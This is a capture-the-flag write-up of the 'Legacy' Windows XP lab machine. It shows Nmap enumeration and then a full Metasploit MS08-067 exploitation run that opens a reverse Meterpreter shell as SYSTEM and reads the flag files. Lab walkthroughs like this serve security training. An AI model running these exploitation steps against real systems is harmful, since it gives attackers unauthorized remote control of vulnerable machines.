mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 20:37:01 +00:00
143 lines
5.9 KiB
Markdown
143 lines
5.9 KiB
Markdown
---
|
|
search:
|
|
exclude: true
|
|
---
|
|
# Legacy Writeup
|
|
|
|
|
|
|
|
## Introduction :
|
|
|
|
Legacy is an easy Windows box released back in March 2017.
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
λ root [/home/nihilist] → nmap -sC -sV 10.10.10.4
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 22:10 CET
|
|
Nmap scan report for 10.10.10.4
|
|
Host is up (0.044s latency).
|
|
Not shown: 997 filtered ports
|
|
PORT STATE SERVICE VERSION
|
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
|
445/tcp open microsoft-ds Windows XP microsoft-ds
|
|
3389/tcp closed ms-wbt-server
|
|
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
|
|
|
|
Host script results:
|
|
|_clock-skew: mean: 5d00h59m39s, deviation: 1h24m50s, median: 4d23h59m39s
|
|
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:25:bd (VMware)
|
|
| smb-os-discovery:
|
|
| OS: Windows XP (Windows 2000 LAN Manager)
|
|
| OS CPE: cpe:/o:microsoft:windows_xp::-
|
|
| Computer name: legacy
|
|
| NetBIOS computer name: LEGACY\x00
|
|
| Workgroup: HTB\x00
|
|
|_ System time: 2019-11-14T01:10:09+02:00
|
|
| smb-security-mode:
|
|
| account_used: guest
|
|
| authentication_level: user
|
|
| challenge_response: supported
|
|
|_ message_signing: disabled (dangerous, but default)
|
|
|_smb2-time: Protocol negotiation failed (SMB2)
|
|
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|
Nmap done: 1 IP address (1 host up) scanned in 63.05 seconds
|
|
|
|
|
|
Here we can see that the port 139, 445, and 3389 are opened. We will take a closer look at the port****running the service****.
|
|
|
|
## **Part 2 : Getting Access**
|
|
|
|
It is highly likely that the machine is vulnerable to MS08-067 RCE so we will test it with the according metasploit module.
|
|
|
|
|
|
msf5 > search ms08
|
|
|
|
Matching Modules
|
|
================
|
|
|
|
# Name Disclosure Date Rank Check Description
|
|
- ---- --------------- ---- ----- -----------
|
|
0 auxiliary/admin/ms/ms08_059_his2006 2008-10-14 normal No Microsoft Host Integration Server 2006 Command Execution Vulnerability
|
|
1 auxiliary/fileformat/multidrop normal No Windows SMB Multi Dropper
|
|
2 exploit/windows/browser/ms08_041_snapshotviewer 2008-07-07 excellent No Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
|
|
3 exploit/windows/browser/ms08_053_mediaencoder 2008-09-09 normal No Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
|
|
4 exploit/windows/browser/ms08_070_visual_studio_msmask 2008-08-13 normal No Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
|
|
5 exploit/windows/browser/ms08_078_xml_corruption 2008-12-07 normal No MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
|
|
6 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
|
|
7 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution
|
|
|
|
|
|
msf5 > use exploit/windows/smb/ms08_067_netapi
|
|
msf5 exploit(windows/smb/ms08_067_netapi) > show options
|
|
|
|
Module options (exploit/windows/smb/ms08_067_netapi):
|
|
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
|
|
RPORT 445 yes The SMB service port (TCP)
|
|
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
|
|
|
|
|
|
Exploit target:
|
|
|
|
Id Name
|
|
-- ----
|
|
0 Automatic Targeting
|
|
|
|
|
|
|
|
The module ms08_067_netapi requires us to set the above-mentionned options : RHOSTS and RPORT.
|
|
|
|
|
|
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
|
|
RHOSTS => 10.10.10.4
|
|
msf5 exploit(windows/smb/ms08_067_netapi) > run
|
|
|
|
[*] Started reverse TCP handler on 10.10.14.48:4444
|
|
[*] 10.10.10.4:445 - Automatically detecting the target...
|
|
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
|
|
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
|
|
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
|
|
[*] Sending stage (180291 bytes) to 10.10.10.4
|
|
[*] Meterpreter session 2 opened (10.10.14.48:4444 -> 10.10.10.4:1032) at 2019-11-09 11:20:27 +0100
|
|
|
|
meterpreter > pwd
|
|
C:\WINDOWS\system32
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
|
|
|
|
|
|
the metasploit module was successful, it gave us a meterpreter shell with elevated privileges.
|
|
|
|
## **Part 3 : The Root Access**
|
|
|
|
All we need to do now is simply grab the user and root flags.
|
|
|
|
|
|
meterpreter > cd Documents\ and\ Settings
|
|
meterpreter > cd john
|
|
meterpreter > cd Desktop
|
|
meterpreter > cat user.txt
|
|
e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
meterpreter > cd ../../..
|
|
|
|
meterpreter > cd Documents\ and\ Settings
|
|
meterpreter > cd Administrator
|
|
meterpreter > cd Desktop
|
|
meterpreter > cat root.txt
|
|
99XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
## **Conclusion**
|
|
|
|
Here we can see the progress graph :
|
|
|
|
|
|
|